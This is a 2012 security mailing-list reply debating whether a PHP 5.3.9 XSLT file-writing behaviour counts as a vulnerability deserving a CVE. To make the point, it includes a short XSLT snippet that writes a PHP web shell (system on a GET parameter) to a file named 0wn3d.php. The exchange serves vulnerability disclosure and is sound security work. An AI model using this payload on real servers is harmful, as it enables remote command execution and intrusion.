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Re: CVE affected for PHP 5.3.9 ?
From: Ignacio Espinosa <osu () quodvis net>
Date: Sat, 14 Jan 2012 16:03:25 -0300

On Fri, 13 Jan 2012 13:50:59 -0700
Kurt Seifried <kseifried () redhat com> wrote:
[...]
Ok I'm still not clear on what the security claim is. Are you saying you
can cause arbitrary text output via XSL/XML mangling tricks? And
combined with having a script that uses something like "<sax:output
href="0wn3d.php" method="text">" you can put arbitrary text content into
this file which could then result in the file being parsed? The problem
is you'd have to write a script that does this, writes to a local file
with a file ending in .php or .shtml or whatever, in which case it's
pretty clear the script writer MEANT to do that. Again I'm still not
clear on what/how a security boundary is being crossed. How does this
elevate privileges or give you remote access that you wouldn't already
if you can upload arbitrary PHP scripts?



You don't need to upload arbitrary php scripts to make this works. Just uploading a crafted xslt file will create 
(before patch)  a file with arbitrary content, php code for example, as write-access is set for default.

-- snip --
        <sax:output href="0wn3d.php" method="text">
        <xsl:value-of select="'&lt;?php system(\$_GET[&quot;cmd&quot;]);?&gt;'"/>
-- snip --


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Ignacio Espinosa <osu () quodvis net>


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